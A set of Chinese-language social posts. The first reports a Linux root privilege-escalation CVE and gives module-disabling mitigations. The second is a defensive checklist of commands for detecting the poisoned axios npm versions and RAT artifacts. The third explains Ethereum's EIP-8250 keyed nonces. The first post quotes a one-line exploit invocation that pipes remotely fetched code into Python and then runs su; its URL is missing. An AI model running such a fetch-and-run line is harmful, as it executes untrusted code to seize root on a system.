看到Xint Code研究团队放出的CVE-2026-31431简直是王炸，换句话说通杀所有Linux发行版，致使低权限账户获得root权限： curl | python3 && su CVE-2026-31431 建议尽快更新系统，事态紧急可以先打个补丁 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead 2>/dev/null 详细参考👉

建议给你的 Agents（包括 OpenClaw）都投喂如下提示词，好好排查下是否存在这波 axios 被投毒事件影响： 参考下面这个方法排查一遍我们的环境是否存在被投毒的 axios@1.14.1 与 axios@0.30.4，及恶意模块 plain-crypto-js，不能漏，确保排查全面： Check for the malicious axios versions in your project: npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4" grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4" Check for plain-crypto-js in node_modules: ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED" If setup.js already ran, package.jsoninside this directory will have been replaced with a clean stub. The presence of the directory is sufficient evidence the dropper executed. Check for RAT artifacts on affected systems: # macOS ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" # Linux ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED" "COMPROMISED" # Windows (cmd.exe) dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED

最近Vitalik（@VitalikButerin ）真是在发力，他和（@soispoke、@nero_eth、@lightclients）共同提出EIP-8250（Keyed Nonces for Frame Transactions）提案。 这个提案值得关注： 因为它在为以太坊“实现极致扩展 + 隐私 + 去中心化”做准备。 先说说目前的现状： 以前以太坊发交易，就像超市只开一个收银台，大家必须排长队。 你付完钱会拿到一个号码，这个叫 nonce（发送者账户的序列号），用来防止重放攻击和排序。 如果前面有人卡住（交易延迟或失败），后面所有人就都得干等着。 尤其是隐私转账问题最大：很多 ZK 隐私池用共享 sender（同一个地址发出多笔 withdrawal），必须等前一笔上链才能发下一笔，否则 nonce 冲突，特别容易堵车。 现在再来理解EIP-8250想要干嘛？ 它相当于给每个以太坊交易加了个“通道号”（nonce_key） 这样一来， 以前只有一个收银柜台排长队，现在可以有多条队列，因为不同 key 就是不同队列。 而且，每个小队列自己排队，互相不影响。 对于隐私场景来说，隐私转账里有个“nullifier”（防止双花的一次性凭证/票据），每次提钱动作都独一无二。 如今，这个思路下，支持直接把这个票据当“通道号”用： 你想同时提 10 笔钱？直接用 10 个不同通道号一起发。哪笔先上链，就把对应的票据作废，防止你双花。 同时不用等前一笔确认了，可以并行跑起来。 从长期看，这是Vitalik 最在意的部分： EIP-8250不光是要解决排队堵塞问题，还可以为将来的超级大规模扩展做准备。 以太坊以后会区分两种“存储”： • 普通动态存储（DeFi 这些相对复杂的用） • 专用简单存储（专门放这些 nullifier 票据） 专用存储容易优化： • 可以分片 • 可以用布隆过滤器等黑科技，存几百亿个票据节点也不会卡 • 节点电脑不用存几百 TB 数据，还能保持去中心化 总结来说， 把单车道高速变成多车道，同时为未来“又快又隐私又去中心化”做准备。